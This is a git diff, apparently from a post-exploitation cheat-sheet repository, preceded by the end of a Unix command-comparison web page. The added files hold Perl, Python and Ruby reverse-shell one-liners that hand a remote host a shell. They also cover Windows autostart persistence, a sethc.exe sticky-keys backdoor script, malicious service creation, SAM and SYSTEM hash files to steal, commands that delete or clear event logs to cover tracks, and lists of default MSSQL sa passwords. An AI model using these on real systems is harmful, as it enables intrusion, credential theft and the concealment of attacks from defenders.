+ rpmfind.net/linux/RPM

+

developer.apple.com/
+ darwin
+ www.info.apple.com/
+ support/downloads.html
+ www.apple.com/support/
+ security/security.html

www.info.ncr.com/
+ eCRM-
+ OSHW-Browse
+ By-Results.cfm
+ ?pl=&PID=&title=
+ &release=
+ &pl=Software
+ %20-%20
+ MP-RAS&sbrn=3
+ www.netbsd.org/
+ Security


+ www.openbsd.org/
+ docum.html

+

www.openbsd.org/
+ errata.html

+

www.openbsd.org/
+ security.html

service.fujitsu-siemens
+ .com
+ its.siemens.com/lobs/its/
+ its_sc/eks_en/unix_en.htm 		www.caldera.com/support

docs.sun.com
+ sunsolve.sun.com
+

?www.tru64unix
+ .compaq.com/docs		N/A (EOL)www.cray.com/
+ craydoc		vendor docs and patches + (see also man pages)
vendor phone (US) 800-426-7378
+ (800-IBM-SERV) 		(EOL; unsupported) ?925-674-0783
+ (FreeBSD Mall) 		800-633-3600800-800-4SGI?1-800-MY-APPLE???(Germany)
+ +49-5251-80		?800-USA-4SUN?800-344-4825800-344-4825?vendor phone (US)
wikiswww.ibm.com/developerworks/
+ wikis/display/WikiPtype/Home		??wiki.freebsd.org??fedoraproject.org/
+ wiki/Main_Page (fed)
+ susewiki.org (SUSE)		wiki.osx86project.org??www.openbsd-wiki.org??wikis.sun.com
+ www.big-up.org/menu/wiki/doku.php		????wikis
TASK / OSAIXA/UXDG/UXFreeBSDHP-UXIRIXLinuxMac OS XNCR UnixNetBSDOpenBSDReliantSCO OpenServerSolarisSunOS 4Tru64
+ (Digital Unix, OSF/1)
+ (4) 4.0F/G
+ (5) 5.0A 		UltrixUNICOSOS \ TASK 
+

Footnotes

+

1. In System V-based Unixes, run level relates to booting, +shutdown, and single-user mode. In BSD, it has to do with security.

+

2. Freeware or separately downloadable; not part of the base OS. See the precompiled + binaries task or web search.

+

3. Gentoo does not have precompiled packages. It compiles them on your computer. It also has some "overlays" for packages that are not (yet) in the main portage tree. See http://overlays.gentoo.org/

+

4. ioscan -funC disk may be helpful here to determine device path.

+

5. Architecture-specific. See http://www.openbsd.org/cgi-bin/cvsweb/src/distrib/*/*/install.md +for details.

+
+

Universal Command Guide is a large book which covers several + of the OSs in this table.

+

UnixGuide.net has a similar table covering fewer Unix +versions and a somewhat different set of tasks. See unixguide.net/cgi-bin/unixguide.cgi

+

Colin Barschel's Unix Toolbox cb.vu/unixtoolbox.xhtml is a wonderfully detailed handbook sorted by task area and giving both commands and config file excerpts for Linux and BSD.

+

coolcommands is a search engine giving one-line command examples: +www.coolcommands.com/index.php?option=com_cc&Itemid=28

+

Solaris / HP-UX / FreeBSD / Linux / AIX: www.unixporting.com/quickguide.html

+

Solaris / HP-UX: soldc.sun.com/migration/hpux/migissues/. +If that page no longer exists, get an archived version +from the Internet Archive Wayback Machine at www.archive.org/web/web.php

+

AIX 4.3.3 / Solaris 8: www.redbooks.ibm.com/redpapers/pdfs/redp0104.pdf
+AIX 5.1.0 / Solaris 8: www.ibm.com/servers/aix/products/aixos/whitepapers/aixmapping.html

+

Unix / DOS: yolinux.com/TUTORIALS/unix_for_dos_users.html

+

Unix / TSO mainframe: yolinux.com/TUTORIALS/LinuxTutorialLinuxForMainframers.html

+

Unix history time line: www.levenez.com/unix/

+

Unix cheat sheet: www.rain.org/~mkummel/unix.html

+

Unix information: www.computerhope.com/unix.htm

+

Unix summary: www.math.utah.edu/lab/unix/unix-commands.html

+

Unix tips and tricks: sysunconfig.net

+

Heiner Steven's AWK dialects page: www.shelldorado.com/articles/awkcompat.html

+

Ben Zorn's Debugging Tools for Dynamic Storage Allocation and Memory Management: + www.cs.colorado.edu/homes/zorn/public_html/MallocDebug.html

+

Most modern Unixes conform to the POSIX standards: en.wikipedia.org/wiki/POSIX

+

en.wikipedia.org/wiki/Comparison_of_operating_systems

+

en.wikipedia.org/wiki/Comparison_of_Linux_distributions

+
+

USENIX: www.usenix.org/

+

USENIX System Administrator's Guild: sage.org/

+

League of Professional System Administrators: lopsa.org/

+ +

This page is http://bhami.com/rosetta.html + last updated 2013.10.13. This compilation Copyright 2000-2013 Bruce Hamilton bhami@pobox.com. Reproduce freely + for personal use. Do not reproduce for commercial purposes. LINK don't copy, + or you will miss updates! Original concept by Pat Wilson. Thanks to Bitt Faulk + and Mrten Svantesson for the improved JavaScript.

+ + + + + diff --git a/scripting/NodeJS.md b/scripting/NodeJS.md new file mode 100644 index 0000000..a9940b4 --- /dev/null +++ b/scripting/NodeJS.md @@ -0,0 +1,8 @@ +# NodeJS Commands and Scripts for Post Exploitation + + +**Start a web server that serves the local files on port 8080** +``` +npm install -g http-server +http-server +``` diff --git a/scripting/perl.md b/scripting/perl.md new file mode 100644 index 0000000..4328430 --- /dev/null +++ b/scripting/perl.md @@ -0,0 +1,5 @@ +# Perl Commands and Scripts for Post Exploitation + +**Perl reverse shell from [pentestmonkey.net](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)** + +```perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'``` diff --git a/scripting/python.md b/scripting/python.md new file mode 100644 index 0000000..9ef50a7 --- /dev/null +++ b/scripting/python.md @@ -0,0 +1,13 @@ +# Python Command and Scripts for Post Exploitation + +One liners +----------- + +**Start a web server that serves the local files on port 8000, single threaded** +```python +python -m SimpleHTTPServer 8000 +``` + +**Python reverse shell from [pentestmonkey.net](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)** + +```python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'``` \ No newline at end of file diff --git a/scripting/ruby.md b/scripting/ruby.md new file mode 100644 index 0000000..b2ab5c5 --- /dev/null +++ b/scripting/ruby.md @@ -0,0 +1,12 @@ +# Ruby Command and Scripts for Post Exploitation + +One liners +----------- + +**Start a web server that serves the local files from current directory on port 8001** + +```ruby -run -e httpd -- -p 8001 .``` + +**Reverse /bin/sh shell on port 443 from [pentestmonkey.net](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)** + +```ruby -rsocket -e'f=TCPSocket.open("192.168.2.5",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'``` diff --git a/windows/autostart.md b/windows/autostart.md new file mode 100755 index 0000000..f8bf64a --- /dev/null +++ b/windows/autostart.md @@ -0,0 +1,94 @@ +## Windows Autostart Locations +### Folders +| Location | Operating System | +| -------- | ---------------- | +| `%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\` | Windows NT 6.0, 6.1 | +| `%SystemDrive%\Documents And Settings\All Users\Start Menu\Programs\StartUp\` | Windows 5.0, 5.1, 5.2 | +| `%SystemDrive%\wmiOWS\Start Menu\Programs\StartUp\` | Windows 9x | +| `%SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\StartUp\` | Windows NT 3.50, 3.51, 4.0 | +| `User\Startup\` | | +| `%windir%\Start Menu\Programs\Startup\` | | +| `%windir%\Tasks\` | | +| `%windir%\system\iosubsys\` | | +| `%windir%\system\vmm32\` | | + +### Files +| Location | Operating System | +| -------- | ---------------- | +| `%windir%\dosstart.bat` | | +| `%windir%\system.ini` - [boot] "scrnsave.exe" | | +| `%windir%\system.ini` - [boot] "shell" | | +| `%windir%\system\autoexec.nt` | | +| `%windir%\system\config.nt` | | +| `%windir%\win.ini` - [windows] "load" | | +| `%windir%\win.ini` - [windows] "run" | | +| `%windir%\wininit.ini` | | +| `%windir%\winstart.bat` | | +| `c:\autoexec.bat` | | +| `c:\config.sys` | | +| `c:\explorer.exe` | | + +### Registry +| Location | Function | +| -------- | -------- | +| `%windir%\dosstart.bat` | | +| `HKEY_CLASSES_ROOT\batfile\shell\open\command\` | Executed whenever a .BAT file (Batch Command) is run. | +| `HKEY_CLASSES_ROOT\comfile\shell\open\command\` | Executed whenever a .COM file (Command) is run. | +| `HKEY_CLASSES_ROOT\exefile\shell\open\command\` | Executed whenever a .EXE file (Executable) is run. | +| `HKEY_CLASSES_ROOT\jsefile\shell\open\command\` | Executed whenever a .JSE file (Encoded Javascript) is run. | +| `HKEY_CLASSES_ROOT\jsfile\shell\open\command\` | Executed whenever a .JS file (Javascript) is run. | +| `HKEY_CLASSES_ROOT\piffile\shell\open\command\` | Executed whenever a .PIF file (Portable Interchange Format) is run. | +| `HKEY_CLASSES_ROOT\scrfile\shell\open\command\` | Executed whenever a .SCR file (Screen Saver) is run. | +| `HKEY_CLASSES_ROOT\vbefile\shell\open\command\` | Executed whenever a .VBE file (Encoded Visual Basic Script) is run. | +| `HKEY_CLASSES_ROOT\vbsfile\shell\open\command\` | Executed whenever a .VBS file (Visual Basic Script) is run. | +| `HKEY_CLASSES_ROOT\wsffile\shell\open\command\` | Executed whenever a .WSF file (Windows Scripting File) is run. | +| `HKEY_CLASSES_ROOT\wshfile\shell\open\command\` | Executed whenever a .WSH file (Windows Scripting Host) is run. | +| `HKEY_CURRENT_USER\Control Panel\Desktop` | The "SCRNSAVE.EXE" value is monitored. This value is launched when your screen saver activates. | +| `HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load` | Executed when the user logs in. | +| `HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\run` | Executed when the user logs in. | +| `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\` | Subvalues are executed when Explorer initialises. | +| `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup\` | Used only by Setup. Displays a progress dialog box as the keys are run one at a time. | +| `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\` | All values in this key are executed, and then their autostart reference is deleted. | +| `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\` | All values in this key are executed. | +| `HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components\` | All subkeys are monitored, with special attention paid to the "StubPath" value in each subkey. | +| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit` | Executed when a user logs in. | +| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon` | The "Shell" value is monitored. This value is executed after you log in. | +| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run\` | All values in this key are executed. | +| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\` | Subvalues are executed when Explorer initialises. | +| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\` | All values in this key are executed, and then their autostart reference is deleted. | +| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce\` | All values in this key are executed as services, and then their autostart reference is deleted. | +| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\` | All values in this key are executed as services. | +| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\` | Executed by explorer.exe as soon as it has loaded. | +| `HKEY_LOCAL_MACHINE\System\Control\WOW\cmdline` | Executed when a 16-bit Windows executable is executed. | +| `HKEY_LOCAL_MACHINE\System\Control\WOW\wowcmdline` | Executed when a 16-bit DOS application is executed. | +| `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager` | The "BootExecute" value is monitored. Files listed here are Native Applications that are executed before Windows starts. | +| `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servic es\VxD\` | All subkeys are monitored, with special attention paid to the "StaticVXD" value in each subkey. | +| `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Winsock2\Parameters\Protocol_Catalog\Catalog_En tries\` | Layered Service Providers, executed before user login. | +| `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\` | Services marked to startup automatically are executed before user login. | +| `HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\RunOnce\` | Similar to the RunOnce key from HKEY_CURRENT_USER. | +| `HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Run\` | Similar to the Run key from HKEY_CURRENT_USER. | + + +## Windows Operating System Versions +From http://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx: + +The following table summarizes the most recent operating system version numbers. + +| Operating system | Version number | +| ---------------- | -------------- | +| Windows 8.1 | 6.3 | +| Windows Server 2012 R2 | 6.3 | +| Windows 8 | 6.2 | +| Windows Server 2012 | 6.2 | +| Windows 7 | 6.1 | +| Windows Server 2008 R2 | 6.1 | +| Windows Server 2008 | 6.0 | +| Windows Vista | 6.0 | +| Windows Server 2003 R2 | 5.2 | +| Windows Server 2003 | 5.2 | +| Windows XP 64-Bit Edition | 5.2 | +| Windows XP | 5.1 | +| Windows 2000 | 5.0 | + +## References +A large portion of this content came from https://web.archive.org/web/20110203184210/http://www.easy-data.no/Autostart.html \ No newline at end of file diff --git a/windows/binary.md b/windows/binary.md new file mode 100755 index 0000000..c5a7abd --- /dev/null +++ b/windows/binary.md @@ -0,0 +1,11 @@ +# Windows Binary Planting + +Binary Planting is essentially putting binary is a specific place, be it moved, copied or uploaded to create the desired effect. In this section we'll be going over the use of binary planting to escalate privileges. + +| Command | Description / Importance | +| ------- | ------------------------ | +| `%SystemRoot%\System32\wbem\mof\` | Taken from Stuxnet: http://blogs.iss.net/archive/papers/ibm-xforce-an-inside-look-at-stuxnet.pdf Look for Print spooler vulnerability. | +| `echo $PATH` | Check the $PATH environmental variable. Some directories may be writable. See: https://www.htbridge.com/advisory/HTB23108 | +| `msiexec.exe` | Idea taken from here: http://goo.gl/E3LTa - basically put evil binary named msiexec.exe in Downloads directory and when a installer calles msiexec without specifying path you get code execution. | +| `sc create cmdsys type= own type= interact binPath= "c:\windows\system32\cmd.exe /c cmd.exe" & sc start cmdsys` | Create malicious services. | +|Replacing file as: sethc.exe
@echo off
c: > nul\\cd\ > nul\\cd %SYSTEMROOT%\System32\ > nul
if exist %SYSTEMROOT%\System32\cmdsys\ rd /q %SYSTEMROOT%\System32\cmdsys\ > nul
cmd %SYSTEMROOT%\System32\cmdsys\ > nul
copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\cmd.bkp /y > nul
copy /y c:\windows\system32\sethc.exe c:\windows\system32\cmdsys\sethc.bkp /y > nul
copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\sethc.exe /y > nul
copy /y c:\windows\system32\cmdsys\sethc.exe c:\windows\system32\sethc.exe /y > nul
exit | By doing this, you just have to press the sticky key activation key. From Wikipedia.org: To enable this shortcut, the ?Shift key must be pressed 5 times in short succession. This feature can also be turned on and off via the Accessibility icon in the Windows Control Panel. To turn off once enabled, just simply press 3 or more of the Sticky Keys (Ctrl, Alt, Shift, Windows Button) at the same time. | \ No newline at end of file diff --git a/windows/blind.md b/windows/blind.md new file mode 100644 index 0000000..bafbc91 --- /dev/null +++ b/windows/blind.md @@ -0,0 +1,14 @@ + +# Windows Blind Files + +In some cases during exploitation you as an attacker gain the ability to read arbitrary files. As an attacker you need go-to files that cover as many different OS versions as possible in order to either confirm exploitation or gather intelligence on the exploited system. For this we use a "blind file". + +The files below are things to pull when all you can do is to blindly read. Examples of vulnerabilities or situations where this would be helpful might be: local file includes (LFI), directory traversals or remote file share instances like SMB, FTP, NFS or otherwise. Files that will have the same name across networks, Windows domains, and systems are noted below. + +| File | Description / Importance | +| -------- | ------------------------ | +| `%SYSTEMDRIVE%\boot.ini` | A file that can be counted on to be on virtually every windows host. Helps with confirmation that a read is happening. **WARNING - in more recent versions of Windows this file in no longer there.** | +| `%WINDIR%\win.ini` | This is another file that can be counted on to be readable by all users of a system. | +| `%SYSTEMROOT%\repair\SAM`
`%SYSTEMROOT%\System32\config\RegBack\SAM` | Stores user passwords in either an [LM hash](https://en.wikipedia.org/wiki/LM_hash) and/or an [NTLM hash](https://en.wikipedia.org/wiki/NTLM) format. The SAM file in \repair is locked, but can be retrieved using forensic or [Volume Shadow copy methods](http://www.room362.com/blog/2013/6/10/volume-shadow-copy-ntdsdit-domain-hashes-remotely-part1.html). | +| `%SYSTEMROOT%\repair\system`
`%SYSTEMROOT%\System32\config\RegBack\system` | This is the SYSTEM registry hive. This file is needed to extract the user account password hashes from a Windows system. The SYSTEM file in \repair is locked, but can be retrieved using forensic or [Volume Shadow copy methods](http://www.room362.com/blog/2013/6/10/volume-shadow-copy-ntdsdit-domain-hashes-remotely-part1.html). | +| `%SYSTEMDRIVE%\autoexec.bat` | autoexec.bat is a startup script that executes at startup. As [Webopedia states](http://www.webopedia.com/TERM/A/autoexec_bat.html), “Stands for automatically executed batch file, the file that DOS automatically executes when a computer boots up. This is a convenient place to put commands you always want to execute at the beginning of a computing session. For example, you can set system parameters such as the date and time, and install memory-resident programs.” | diff --git a/windows/cmd.md b/windows/cmd.md new file mode 100644 index 0000000..d03fe86 --- /dev/null +++ b/windows/cmd.md @@ -0,0 +1,8 @@ +# Windows CMD Commands + +Command that can be executed from the context of the CMD.exe prompt. + + * [Config Commands](windows_cmd_config.md) - Commands that display information about the configuration of the victim. + * [Network Commands](windows_cmd_network.md) - Commands used for gathering information about the network settings and connections of a system. + * [Remote Acccess Commands](windows_cmd_remote.md) - Commands to remotely administer systems. + diff --git a/windows/cover.md b/windows/cover.md new file mode 100755 index 0000000..8cb0657 --- /dev/null +++ b/windows/cover.md @@ -0,0 +1,74 @@ + + + +# Windows Covering Tracks Commands + +Commands to run to clean up a system after you have exploited it and to reduce a target's ability to discover what you did while on their system and are usually executed from the context of the `cmd.exe` or `command.exe` prompt. + +## del +### Delete Logs + * **Command with arguments**: `del %WINDIR%\*.log /a /s /q /f` + * **Description**: **MUST be run as an administrator**. Deletes all *.log files from the %WINDIR% directory. + * **Output**: + * NA + +---- + +## wevtutil +### List Logs + * **Command with arguments**: `wevutil el` + * **Description**: Lists the different log files the system is keeping. More information can be found http://technet.microsoft.com/en-us/library/cc732848(WS.10).aspx + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wevtutil el +Application +DFS Replication +Directory Service +DNS Server +File Replication Service +HardwareEvents +Internet Explorer +Key Management Service +Security +System +ThinPrint Diagnostics +EndpointMapper +ForwardedEvents +Microsoft-Windows-ADSI/Debug +Microsoft-Windows-Bits-Client/Analytic +Microsoft-Windows-Bits-Client/Operational +Microsoft-Windows-CAPI2/Operational +Microsoft-Windows-CertificateServicesClient-CredentialRoaming/Operational +Microsoft-Windows-CodeIntegrity/Operational +Microsoft-Windows-CodeIntegrity/Verbose +Microsoft-Windows-COM/Analytic +Microsoft-Windows-CorruptedFileRecovery-Client/Operational +Microsoft-Windows-CorruptedFileRecovery-Server/Operational +Microsoft-Windows-CredUI/Diagnostic +Microsoft-Windows-DateTimeControlPanel/Analytic +Microsoft-Windows-DateTimeControlPanel/Debug +Microsoft-Windows-DateTimeControlPanel/Operational +Microsoft-Windows-DCLocator/Debug +Microsoft-Windows-Diagnosis-DPS/Analytic +Microsoft-Windows-Diagnosis-DPS/Debug +Microsoft-Windows-Diagnosis-DPS/Operational +Microsoft-Windows-Diagnosis-MSDT/Debug +Microsoft-Windows-Diagnosis-MSDT/Operational +Microsoft-Windows-Diagnosis-PLA/Debug +Microsoft-Windows-Diagnosis-PLA/Operational +Microsoft-Windows-Diagnosis-WDI/Debug +Microsoft-Windows-Diagnostics-Networking/Debug +[...snip...]
+ +### Clear Logs + * **Command with arguments**: `wevtutil cl [LOGNAME]` + * **Description**: **MUST be run as an administrator**. Clears the contents of a specific log. + * **Output**: + *
**Windows 2008:** Show/Hide
c:\temp>wevtutil cl Microsoft-Windows-EventLog/Debug
\ No newline at end of file diff --git a/windows/files.md b/windows/files.md new file mode 100644 index 0000000..c9fb1c8 --- /dev/null +++ b/windows/files.md @@ -0,0 +1,21 @@ +# Windows Important Files + +Files that can yield passwords or other intel about the system, network or users. + +| File | Description / Importance | +| -------- | ------------------------ | +| `%SYSTEMDRIVE%\pagefile.sys` | This file is used by the operating system when there is not enough RAM (memory) in the system. It is a large file, but contains spill over from RAM, usually lots of good information can be pulled, but should be a last resort due to size. | +| `%SYSTEMROOT%\repair\SAM`
`%SYSTEMROOT%\System32\config\RegBack\SAM` | These files store the LM and NTLM hashes for local users. Using [Volume Shadow Copy](http://www.room362.com/blog/2013/6/10/volume-shadow-copy-ntdsdit-domain-hashes-remotely-part1.html) or [Ninja Copy](http://clymb3r.wordpress.com/2013/06/13/using-powershell-to-copy-ntds-dit-registry-hives-bypass-sacls-dacls-file-locks/) you can retrieve these files. | +| `%SystemDrive%\inetpub\logs\LogFiles` | IIS 7.x web server log file location. | +| `%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat` | Internet Explorer web browser history file (http://support.microsoft.com/kb/322916) | +| `%USERPROFILE%\ntuser.dat` | User-level Windows registry settings (http://technet.microsoft.com/en-us/library/cc758618(v=WS.10).aspx) | +| `%WINDIR%\System32\drivers\etc\hosts` | System hosts file for local translation of host names to IP addresses. | +| `%WINDIR%\debug\NetSetup.log` | Shows issues when computers are joined to a domain. http://technet.microsoft.com/en-us/library/cc961817.aspx | +| `%WINDIR%\iis[version].log` where [version] = 6, 7, or 8 | Internet Information Service (IIS web server) log files. | +| `%WINDIR%\repair\sam`
`%WINDIR%\repair\system`
`%WINDIR%\repair\software`
`%WINDIR%\repair\security` | System registry hives. https://en.wikipedia.org/wiki/Windows_Registry | +| `%WINDIR%\system32\CCM\logs\*.log` | Windows SCCM (System Center Configuration Manager) log files (http://technet.microsoft.com/en-us/library/bb892800.aspx) | +| `%WINDIR%\system32\config\AppEvent.Evt`
`%WINDIR%\system32\config\SecEvent.Evt` | Windows Event Logs. | +| `%WINDIR%\system32\config\default.sav`
`%WINDIR%\system32\config\security.sav`
`%WINDIR%\system32\config\software.sav`
`%WINDIR%\system32\config\system.sav` | Backup Windows registry files (http://forensics.wikia.com/wiki/Windows_registry_entries) | +| `%WINDIR%\system32\logfiles\httperr\httperr1.log` | IIS 6.x web server error logs. | +| `%WINDIR%\system32\logfiles\w3svc1\exYYMMDD.log` where YYMMDD = year month day | Web server log files. | +| `unattend.txt, unattend.xml, sysprep.inf` | Used in the automated deployment of Windows images and can contain user accounts. | \ No newline at end of file diff --git a/windows/find_files.md b/windows/find_files.md new file mode 100755 index 0000000..2dbcb7a --- /dev/null +++ b/windows/find_files.md @@ -0,0 +1,42 @@ + + + +# Windows Finding File Commands + +Commands that find files on the filesystem and are usually executed from the context of the `cmd.exe` or `command.exe` prompt. + +## dir +### Attributes Showing + * **Command with arguments**: `dir /a` + * **Description**: Displays files with specified attributes. Examples: D=Directories, R=Read-only files, H=Hidden files, A=Files ready for archiving, S=System files + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>dir /a c:\
Volume in drive C has no label. Volume Serial Number is 1A09-5F16

Directory of c:\

01/19/2008 03:45 AM $Recycle.Bin
09/18/2006 04:43 PM 24 autoexec.bat
10/08/2013 10:27 PM Boot
04/11/2009 08:00 AM 333,257 bootmgr
10/08/2013 10:27 PM 8,192 BOOTSECT.BAK
09/18/2006 04:43 PM 10 config.sys
01/19/2008 06:47 AM Documents and Settings [C:\Users]
10/23/2013 07:39 PM 2,460,454,912 pagefile.sys
01/19/2008 04:40 AM PerfLogs
10/08/2013 06:36 PM Program Files
10/08/2013 06:36 PM
10/10/2013 07:59 PM Users
10/23/2013 07:38 PM Windows
5 File(s) 2,460,796,395 bytes
10 Dir(s) 33,311,416,320 bytes free
+ +### Recursive + * **Command with arguments**: `dir /b /s [directory or filename]` + * **Description**: Displays files recursively (all subdirectories). Good for post processing with find (example: `find /I “searchstring”`) or sending to another tool. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>dir /b /s c:\temp
c:\Users\Default\AppData\Local\Temp
c:\Users\johndoe\AppData\Local\Temp
c:\Windows\Temp
c:\Windows\assembly\temp
c:\Windows\assembly\NativeImages_v2.0.50727_32\Temp
c:\Windows\System32\DriverStore\Temp
c:\Windows\winsxs\Temp
+---- + +## find + * **Command with arguments**: `[somecommand] \| find /c /v ”[searchstring]”` + * **Description**: Counts the number of times the [searchstring] is found in the output of [somecommand]. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>dir /a /s c:\ |find /c /v "svchost" +99184
+---- + +## tree + * **Command with arguments**: `tree C:\ /f /a > C:\output_of_tree.txt` + * **Description**: Prints a directory listing in tree format. The `/a` makes the tree printed with ASCII characters instead of special ones and the `/f` displays file names as well as folders. + * **Output**: + *
**Windows 2008:** Show/Hide
C:\Users\johndoe>tree C:\ /f /a
Folder PATH listing
Volume serial number is 1A09-5F16
C:\
| autoexec.bat
| config.sys
|
+---PerfLogs
+---Program Files
| +---Common Files
| | +---microsoft shared
| | | +---DAO
| | | | dao360.dll
| | | |
| | | +---ink
| | | | | penchs.dll
| | | | | pencht.dll
| | | | | penjpn.dll
| | | | | penkor.dll
| | | | | penusa.dll
| | | | | pipanel.dll
| | | | | pipanel.exe
| | | | | pipres.dll
| | | | | skchobj.dll
| | | | | skchui.dll
| | | | |
| | | | +---ar-SA
| | | | | tipresx.dll.mui
| | | | |
[...SNIP...]
diff --git a/windows/mssql.md b/windows/mssql.md new file mode 100644 index 0000000..0c3c32e --- /dev/null +++ b/windows/mssql.md @@ -0,0 +1,214 @@ +# MSSQL Instance Defaults + + +MSSQL Defaults +---------- + +[Internet MSSQL Instances](references/internet_mssql.txt) + +Common: + + * sa/sa + * sa/\ + * sa/SQL + +Default MSSQL Instance names: SQLEXPRESS, MSSQLSERVER + +Instances +--------- + +- - - - + +**Instance**: SALESLOGIX + +**Software**: http://www.saleslogix.com/ + + * sa/SLXMaster + * sa/SLXMa$t3r + +- - - - + +**Instance**: CITADEL + +**Software**: http://www.ni.com/labview/ + + * sa password is generated by "generateComputerId.exe" at install time. Available in their trail installer. Haven't been able to reverse engineer this into figuring out what variables result in the password, but it is the same when installed to the same machine twice. + +- - - - + +**Instance**: ACT7 + +**Software**: http://www.act.com/ + + * sa/sage + +- - - - + +**Instance**: BKUPEXEC + +**Software**: http://www.symantec.com/products/data-backup-software + + * sa/\ + +- - - - + +**Instance**: CSSQL05 + +**Software**: http://www.cambridgesoft.com/solutions/details/?fid=175 + + * ELNAdmin/ELNAdmin + * sa/CambridgeSoft_SA + +- - - - + +**Instance**: ESCANSQLSERVER + +**Software**: http://www.escanav.com/english/ + + * SA Password can be found `HKLM\Software\Microworld\eScan for Windows\Webconsole`. I don't have a copy to be able to get the default + +- - - - + +**Instance**: COMMVAULT + +**Software**: http://www.commvault.com/simpana-software + + * Default username is many times: admin + * Password is set at install, but many people do single sign on with a local admin account on the box. + +- - - - + +**Instance**: INSERTGT + +**Software**: + + * Default Found: http://www.solutionoferror.com/java/sql-server-2008-r2-connection-error-android-254573.asp + * msi/keyboa5 + * sa/\ + +- - - - + +**Instance**: VIDEOOSDB + +**Software**: http://forum.milestonesys.com/yaf_topics54_XProtect-Essential.aspx + +- - - - + +**Instance**: IMPERVA + +**Software**: http://www.imperva.com/products/wsc_web-application-firewall.html + + * Default database username: secure + * Password if left as default is a 8 character starting with the word "secure", this is reset many times when techs fix the software as well. Default database type is Oracle. + +- - - - + +**Instance**: RTCLOCAL + +**Software**: http://blog.insidelync.com/2011/04/the-lync-server-databases/ + + * sa/mypassword + * Reference: http://www.kaplansoft.com/tekivr/TekIVR-Lync.pdf + +- - - - + +**Instance**: SBSMONITORING + +**Software**: Windows Small Business Server + + * sa acount disabled by default + * Reference: http://social.technet.microsoft.com/Forums/en-US/a05d3bac-796e-4746-8c82-48da23d52549/what-is-the-default-password-for-sa-account-in-windows-sbs-2011-standard?forum=smallbusinessserver + +- - - - + +**Instance**: PCAMERICA + +**Software**: PC America Restaurant Pro Express + + * sa/PCAmerica + * Reference: http://www.fixya.com/support/t3995856-restaurant_pro_express_client + * sa/pcAmer1ca + * Reference: http://www.njsolutions.net/pcamerica-faqs/61-sql-server-manual-install + +- - - - + +**Instance**: VSDOTNET + +**Software**: visual studio .net + + * sa/\ + * Reference: http://ptijira.dyndns.org:8090/display/ClearDentKB/Login+failed+user+%27sa%27.+The+user+is+not+associated+with+a+trusted+SQL+Server+Connection + +- - - - + +**Instance**: ACT7 + +**Software**: Act7 + + * sa/randomized after install + * Refef: http://community.act.com/t5/Act-Premium/ACT-Premium-2008-sa-password/td-p/1710 + + forum mentions: "ActbySage1!" as a password + +- - - - + +**Instance**: HPDSS + +**Software**: HP MFP Digital Sending Software + + * sa/Hpdsdb000001 + * sa/hpdss + * Reference: http://h20566.www2.hp.com/portal/site/hpsc/template.PAGE/public/kb/docDisplay/?sp4ts.oid=5076216&spf_p.tpst=kbDocDisplay&spf_p.prp_kbDocDisplay=wsrp-navigationalState%3DdocId%253Demr_na-c02712353-3%257CdocLocale%253D%257CcalledBy%253D&javax.portlet.begCacheTok=com.vignette.cachetoken&javax.portlet.endCacheTok=com.vignette.cachetoken + +- - - - + +**Instance**: MYMOVIES + +**Software**: My Movies + + * sa/t9AranuHA7 + * Reference: http://www.mymovies.dk/forum.aspx?g=posts&t=24514 + +- - - - + +**Instance**: CODEPAL / CODEAPL08 + +**Software**: + + * sa/Cod3p@l + * Reference: http://codepalinspections.net/CPO%20Setup%20On%20Alien%20Servers.txt + +- - - - + +**Instance**: VSQL + +**Software**: + + * sa/111 + * Reference: 